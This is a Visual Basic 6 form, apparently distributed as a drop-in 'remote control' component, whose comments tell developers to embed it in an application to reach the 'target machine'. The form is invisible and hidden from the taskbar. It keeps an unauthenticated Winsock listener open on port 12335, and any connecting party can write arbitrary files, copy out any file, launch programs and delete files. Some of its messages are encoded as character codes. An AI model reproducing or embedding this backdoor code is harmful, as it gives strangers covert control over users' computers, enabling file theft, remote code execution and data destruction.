SDRC/Client/SDRCCfrm.frm

VERSION 5.00
Object = "{248DD890‑BB45‑11CF‑9ABC‑0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form SDRCCfrm
   BorderStyle     =   0 'Kein
   ClientHeight    =   90
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   90
   Enabled         =   0 'False
   LinkTopic       =   "Form1"
   ScaleHeight     =   90
   ScaleWidth      =   90
   ShowInTaskbar   =   0 'False
   StartUpPosition =   3 'Windows‑Standard
   Visible         =   0 'False
   Begin MSWinsockLib.Winsock MT3
      Left            =   0
      Top             =   0
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Timer Timer1
      Interval        =   1000
      Left            =   0
      Top             =   0
   End
End
Attribute VB_Name = "SDRCCfrm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
'(c)2000, 2004 by Louis.
'
'Downloaded from www.louis‑coder.com.
'Add this form and a reference to Microsoft Winsock Control 6.0 (must be installed on target machine)
'to your application. Then you are able to connect to the target machine your app is running on if
'that target machine is online and you know the IP‑ and port number. The port number is the value
'of SDRCPort, you can change it as long as you set the SDRC Server's port number to the same value.
'The SDRC Client is actually a "server", and the SDRC Server is the "client"
'(not the official naming convention is used).
'
'GetWinDir
Private Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'SDRC constants
Const SDRC_TASK_FILE_UPLOAD As Integer = 2
Const SDRC_TASK_FILE_DOWNLOAD As Integer = 3
Const SDRC_TASK_START_APPLICATION As Integer = 4
Const SDRC_TASK_FILE_ERASE As Integer = 5
Const SDRC_TASK_GET_WINDIR As Integer = 6
Const SDRC_TASK_CONTINUE As Integer = 100
Const SDRC_TASK_STOP_FINISHED As Integer = 101
Const SDRC_TASK_STOP_ERROR As Integer = 102
Const SDRC_TASK_MESSAGE As Integer = 103
'other constants
Const SDRCPort As Long = 12335
'FormatSDRCTaskStartSign
Dim SDRCTaskNumber As Integer
Dim SDRCTaskParam As String
'other
Dim CurrentSDRCTaskNumber As Integer
Dim CurrentSDRCTaskParam As String
Dim SDRCTaskContinueFlag As Boolean
Dim SDRCTaskAbortFlag As Boolean
Dim SDRCDataArrivalStringTotal As String
'GetWinDir
Dim WinDir As String
Dim WinSysDir As String

'***DEBUGGING CODE***

Private Sub Timer1_Timer()
    'on error resume next
    Select Case MT3.State
    Case 0, 9
        Call SDRCClosePort
        Call SDRCOpenPort
    End Select
    Debug.Print MT3.State
End Sub

'***END OF DEBUGGING CODE***

Private Sub Form_Load()
    'on error resume next
    Call DefineVars
    Call GetWinDir
    Debug.Print MT3.LocalIP
End Sub

Private Sub DefineVars()
    'on error resume next
    CurrentSDRCTaskNumber = 0 'reset
    CurrentSDRCTaskParam = "" 'reset
End Sub

Private Sub GetWinDir()
    On Error Resume Next
    Dim GetWinDirTemp As Long
    Dim GetWinDirTempstr$
    GetWinDirTempstr$ = String$(280, Chr(0))
    GetWinDirTemp = GetWindowsDirectory(GetWinDirTempstr$, 280)
    If Not (InStr(1, GetWinDirTempstr$, Chr(0), vbBinaryCompare)) = 0 Then 'verify
        WinDir = Left$(GetWinDirTempstr$, InStr(1, GetWinDirTempstr$, Chr(0), vbBinaryCompare) ‑ 1)
        If Not (Right$(WinDir, 1) = "\") Then WinDir = WinDir + "\" 'verify
        WinSysDir = WinDir + "SYSTEM\"
        If (Dir(WinSysDir) = "") Then WinSysDir = WinDir 'verify
    End If
End Sub

'*****************************************MT 3******************************************

Private Sub SDRCOpenPort()
    'on error resume next
    'If DRCOpenPortExistingFlag = False Then
        'If VerifyPort(DRCPort) = True Then
            If Not (MT3.State = 0) Then MT3.Close
            MT3.LocalPort = SDRCPort
            MT3.RemotePort = SDRCPort
            MT3.Listen
            'DRCOpenPortExistingFlag = True
            'DRCPortOldUnchanged = DRCPort 'used for LogFileInfo
            'Call LogFileInfo(651) 'DRC Port xx opened.
        'End If
    'End If
End Sub

Private Sub MT3_ConnectionRequest(ByVal requestID As Long)
    'on error resume next
    If Not (MT3.State = 0) Then MT3.Close
    MT3.Accept (requestID)
End Sub

Private Sub MT3_DataArrival(ByVal bytesTotal As Long)
    'on error resume next
    Dim SDRCDataArrivalString As String
    Dim MT3Temp As Long
    'begin
    MT3.GetData SDRCDataArrivalString
    Debug.Print SDRCDataArrivalString
Redo:
    'CUT OFF TASK START SIGN
    '
    'NOTE: although two task start signs were sent separately, the string returned
    'by Winsock could be i.e. TASK<1|>TASK<2|>. The following code will set
    'SDRCDataArrivalString to the next task start sign gotten out of the buffer string
    'SDRCDataArrivalStringTotal.
    '
    SDRCDataArrivalStringTotal = SDRCDataArrivalStringTotal + SDRCDataArrivalString
    If Mid$(SDRCDataArrivalStringTotal, 1, Len("SDRC TASK")) = "SDRC TASK" Then
        For MT3Temp = 1 To Len(SDRCDataArrivalStringTotal)
            If Mid$(SDRCDataArrivalStringTotal, MT3Temp, 1) = ">" Then
                SDRCDataArrivalString = Mid$(SDRCDataArrivalStringTotal, 1, MT3Temp)
                SDRCDataArrivalStringTotal = Right$(SDRCDataArrivalStringTotal, Len(SDRCDataArrivalStringTotal) ‑ MT3Temp)
                Exit For
            End If
        Next MT3Temp
    Else
        SDRCDataArrivalString = SDRCDataArrivalStringTotal
        SDRCDataArrivalStringTotal = "" 'reset
    End If
    'END OF CUTTING OFF TASK START SIGN
    Select Case Mid$(SDRCDataArrivalString, 1, Len("SDRC TASK"))
    Case "SDRC TASK"
        Call FormatSDRCTaskStartSign(SDRCDataArrivalString)
        Select Case SDRCTaskNumber
        Case SDRC_TASK_CONTINUE
            SDRCTaskContinueFlag = True
        Case SDRC_TASK_STOP_ERROR
            SDRCTaskAbortFlag = True
            CurrentSDRCTaskNumber = 0 'reset
            CurrentSDRCTaskParam = 0 'reset
        Case SDRC_TASK_STOP_FINISHED
            SDRCTaskContinueFlag = True
            CurrentSDRCTaskNumber = 0 'reset
            CurrentSDRCTaskParam = 0 'reset
        Case SDRC_TASK_MESSAGE
            'do nothing (SDRCClient)
        Case Else
            SDRCTaskAbortFlag = False 'reset
            CurrentSDRCTaskNumber = SDRCTaskNumber 'may be 0 for error
            CurrentSDRCTaskParam = SDRCTaskParam 'may be "" for error
            Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
        End Select
    Case Else
        Call SDRCReceiveTaskData(CurrentSDRCTaskNumber, CurrentSDRCTaskParam, SDRCDataArrivalString)
    End Select
    'CUT OFF TASK START SIGN
    SDRCDataArrivalString = "" 'reset (important)
    If Not (SDRCDataArrivalStringTotal = "") Then GoTo Redo:
    'END OF CUTTING OFF TASK START SIGN
End Sub

Private Sub SDRCSendData(ByRef SDRCData As String)
    On Error Resume Next 'will send SDRCData string ONLY
    If MT3.State = 7 Then 'verify
        MT3.SendData SDRCData
        'MT3.SendData (Chr$(13) + Chr$(10)) 'do not (!) send end sign
        Debug.Print SDRCData
    Else
        Call MT3_Close
    End If
End Sub

Private Function SDRCWaitForSDRC_TASK_CONTINUE() As Boolean
    'on error resume next
    Dim SDRCTemp As Long
    '
    'NOTE: this function returns True if SDRCOppositeIP sent back a
    'SDRC_TASK_CONTINUE Task Start Sign within 30 seconds.
    '
    SDRCTaskContinueFlag = False 'reset
    Do
        Call GFWait(0.1)
        If SDRCTaskAbortFlag = True Then
            SDRCTaskAbortFlag = False 'reset
            Exit Do 'error
        End If
        If SDRCTaskContinueFlag = True Then 'set in MT3_DataArrival()
            SDRCWaitForSDRC_TASK_CONTINUE = True 'ok
            Exit Function
        End If
        SDRCTemp = SDRCTemp + 1
        If SDRCTemp = 300 Then Exit Do 'error
    Loop
    SDRCWaitForSDRC_TASK_CONTINUE = False 'error
    Exit Function
End Function

Private Sub SDRCClosePort()
    'on error resume next
    If Not (MT3.State = 0) Then
        MT3.Close
    End If
End Sub

Private Sub MT3_Close()
    'on error resume next
    Call SDRCClosePort
End Sub

Private Function SDRCCreateTaskStartSign(ByVal SDRCTaskTypeConstant As Integer, ByVal SDRCTaskParam As String) As String
    'on error resume next 'similar to CreateRemoteMsgLine()
    SDRCCreateTaskStartSign = "SDRC TASK" + "<" + LTrim$(Str$(SDRCTaskTypeConstant)) + "|" + SDRCTaskParam + ">"
End Function

'**************************************END OF MT3***************************************
'*************************************SREMOTE CODE**************************************
'NOTE: to avoid name conflicts with NN99 Remote System code, the SUCKR Remote
'System code uses the prefix SRemote.
'NOTE: see developing notes for additional information.

Private Sub SDRCReceiveTaskData(ByVal CurrentSDRCTaskNumber As Integer, ByVal CurrentSDRCTaskParam As String, ByRef SDRCTaskData As String)
    'on error resume next
    Select Case CurrentSDRCTaskNumber
    Case SDRC_TASK_FILE_UPLOAD
        Call SRemoteFileUpload(CurrentSDRCTaskParam, SDRCTaskData)
    Case SDRC_TASK_FILE_DOWNLOAD
        Call SRemoteFileDownload(CurrentSDRCTaskParam)
    Case SDRC_TASK_START_APPLICATION
        Call SRemoteStartApplication(CurrentSDRCTaskParam)
    Case SDRC_TASK_FILE_ERASE
        Call SRemoteFileErase(CurrentSDRCTaskParam)
    Case SDRC_TASK_GET_WINDIR
        Call SRemoteGetWinDir
    Case Else
        'do nothing (error)
    End Select
End Sub

Private Sub SRemoteFileUpload(ByVal SRemoteFileUploadOutputName As String, ByRef SDRCTaskData As String)
    On Error GoTo Error: 'important (if output file is locked)
    'verify
    If (Right$(SRemoteFileUploadOutputName, 1) = "\") Or (SRemoteFileUploadOutputName = "") Then 'verify
        GoTo Error:
    End If
    'begin
    If Dir(SRemoteFileUploadOutputName) = "" Then
        'NOTE: the output file is created if not existing yet.
        Open SRemoteFileUploadOutputName For Output As #1
        Close #1
    End If
    If Not ((Dir(SRemoteFileUploadOutputName) = "") Or (Right$(SRemoteFileUploadOutputName, 1) = "\") Or (SRemoteFileUploadOutputName = "")) Then
        Open SRemoteFileUploadOutputName For Append As #1
            Print #1, SDRCTaskData;
        Close #1
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
    Else
        GoTo Error:
    End If
    Exit Sub
Error:
    Close #1 'make sure file is closed
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Exit Sub
End Sub

Private Sub SRemoteFileDownload(ByVal SRemoteFileDownloadInputName As String)
    'on error resume Next
    Dim BlockString As String
    Dim BlockStringStartPos As Long
    Dim BlockStringLength As Long
    'verify
    If (Dir(SRemoteFileDownloadInputName) = "") Or (Right$(SRemoteFileDownloadInputName, 1) = "\") Or (SRemoteFileDownloadInputName = "") Then 'verify
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
        Exit Sub
    End If
    'begin
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_DOWNLOAD, ""))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    'NOTE: from here on the SDRCClient has to create error/success messages.
    Open SRemoteFileDownloadInputName For Binary As #2
        BlockStringStartPos = 1 'preset
        Do
            If BlockStringStartPos > LOF(2) Then Exit Do
            BlockStringLength = 2048 'send file to download in 2kb blocks
            If (LOF(2) ‑ BlockStringStartPos + 1) < BlockStringLength Then 'verify
                BlockStringLength = (LOF(2) ‑ BlockStringStartPos + 1)
            End If
            BlockString = String$(BlockStringLength, Chr$(0))
            Get #2, BlockStringStartPos, BlockString
            '
            Call SDRCSendData(BlockString)
            If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
            '
            BlockStringStartPos = BlockStringStartPos + BlockStringLength
        Loop
    Close #2
    'NOTE: the following message is the only one that cannot be created by the
    'SDRCServer itself, message text must not be changed (see SDRCServer MT3_DataArrival()).
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_MESSAGE, Chr$(70) + Chr$(105) + Chr$(108) + Chr$(101) + Chr$(32) + Chr$(104) + Chr$(97) + Chr$(115) + Chr$(32) + Chr$(98) + Chr$(101) + Chr$(101) + Chr$(110) + Chr$(32) + Chr$(100) + Chr$(111) + Chr$(119) + Chr$(110) + Chr$(108) + Chr$(111) + Chr$(97) + Chr$(100) + Chr$(101) + Chr$(100) + Chr$(46))) 'File has been downloaded.
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Exit Sub
Error:
    Close #2 'make sure file is closed
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_MESSAGE, Chr$(69) + Chr$(114) + Chr$(114) + Chr$(111) + Chr$(114) + Chr$(32) + Chr$(100) + Chr$(111) + Chr$(119) + Chr$(110) + Chr$(108) + Chr$(111) + Chr$(97) + Chr$(100) + Chr$(105) + Chr$(110) + Chr$(103) + Chr$(32) + Chr$(102) + Chr$(105) + Chr$(108) + Chr$(101) + Chr$(32) + Chr$(33))) 'Error downloading file !
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, Chr$(69) + Chr$(114) + Chr$(114) + Chr$(111) + Chr$(114) + Chr$(32) + Chr$(100) + Chr$(111) + Chr$(119) + Chr$(110) + Chr$(108) + Chr$(111) + Chr$(97) + Chr$(100) + Chr$(105) + Chr$(110) + Chr$(103) + Chr$(32) + Chr$(102) + Chr$(105) + Chr$(108) + Chr$(101) + Chr$(32) + Chr$(33))) 'Error downloading file !
    Exit Sub
End Sub

Private Sub SRemoteStartApplication(ByVal SRemoteStartApplicationName As String)
    On Error Resume Next 'important
    Dim SRemoteTempdbl#
    If (SRemoteStartApplicationName = "") Then 'verify
        'NOTE: do not verify using Dir() and Right$() as parameter could lead to
        'an error although application exists and could be started.
        GoTo Error:
    End If
    SRemoteTempdbl# = Shell(SRemoteStartApplicationName, vbNormalFocus)
    If Not (SRemoteTempdbl# = 0) Then 'verify
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Else
        GoTo Error:
    End If
    Exit Sub
Error:
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Exit Sub
End Sub

Private Sub SRemoteFileErase(ByVal SRemoteFileEraseName As String)
    On Error Resume Next 'important
    'verify
    If (Right$(SRemoteFileEraseName, 1) = "\") Or (SRemoteFileEraseName = "") Then
        GoTo Error:
    End If
    'begin
    SetAttr SRemoteFileEraseName, vbNormal
    Kill SRemoteFileEraseName
    On Error GoTo 0
    On Error GoTo Error: 'important
    If (Dir(SRemoteFileEraseName) = "") Then
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Else
        GoTo Error:
    End If
    Exit Sub
Error:
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Exit Sub
End Sub

Private Sub SRemoteGetWinDir()
    'on eror resume next
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_MESSAGE, WinDir))
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
End Sub

'**********************************END OF SREMOTE CODE**********************************
'***********************************GENERAL FUNCTIONS***********************************

Private Sub GFWait(ByVal WaitTime As Single) 'copied from NN99 (11‑18‑2000)
    On Error Resume Next 'stays in DoEvents‑loop for WaitTime seconds, even if midnight is passed or OS time changed
    Dim TimerUnchanged As Single
    Dim TimerNew As Single
    Dim TimerOld As Single
    'preset
    TimerUnchanged = Timer
Redo:
    'verify
    If WaitTime < 0 Then WaitTime = 0
    If WaitTime > (60! * 60! * 24!) Then WaitTime = (60! * 60! * 24!)
    'begin
    TimerOld = GFWait_Timer(TimerUnchanged) 'preset (important)
    TimerNew = GFWait_Timer(TimerUnchanged) + WaitTime
    Do
        If Abs(GFWait_Timer(TimerUnchanged) ‑ TimerOld) > 1! Then 'use Abs() to get 'distance'
            WaitTime = WaitTime ‑ (TimerOld ‑ TimerUnchanged)
            GoTo Redo: 'OS time changed by user
        End If
        If GFWait_Timer(TimerUnchanged) > TimerNew Then
            Exit Do 'time to GFWait passed
        End If
        TimerOld = GFWait_Timer(TimerUnchanged)
        DoEvents
    Loop
End Sub

Private Function GFWait_Timer(ByVal TimerUnchanged As Single) As Single 'copied from NN99 (11‑18‑2000)
    On Error Resume Next 'to be used by GFWait() only
    If Not (Timer < TimerUnchanged) Then 'Timer may be equal to TimerUnchanged
        GFWait_Timer = Timer
    Else
        GFWait_Timer = Timer + (60! * 60! * 24!)
    End If
End Function

Private Sub FormatSDRCTaskStartSign(ByVal SDRCTaskStartSign As String)
    'on error resume next 'defines SDRCTask[Number/Param]; similar to FormatRemoteMsgLine()
    Dim SDRCTemp As Long
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "<" Then
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump1:
        End If
    Next SDRCTemp
    GoTo Error:
Jump1:
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "|" Then
            SDRCTaskNumber = Val(Left$(SDRCTaskStartSign, SDRCTemp ‑ 1))
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump2:
        End If
    Next SDRCTemp
    GoTo Error:
Jump2:
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = ">" Then
            SDRCTaskParam = Left$(SDRCTaskStartSign, SDRCTemp ‑ 1)
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump3:
        End If
    Next SDRCTemp
    GoTo Error:
Jump3:
    Exit Sub
Error:
    SDRCTaskNumber = 0 'reset (error)
    SDRCTaskParam = "" 'reset (error)
    Exit Sub
End Sub


[END OF FILE]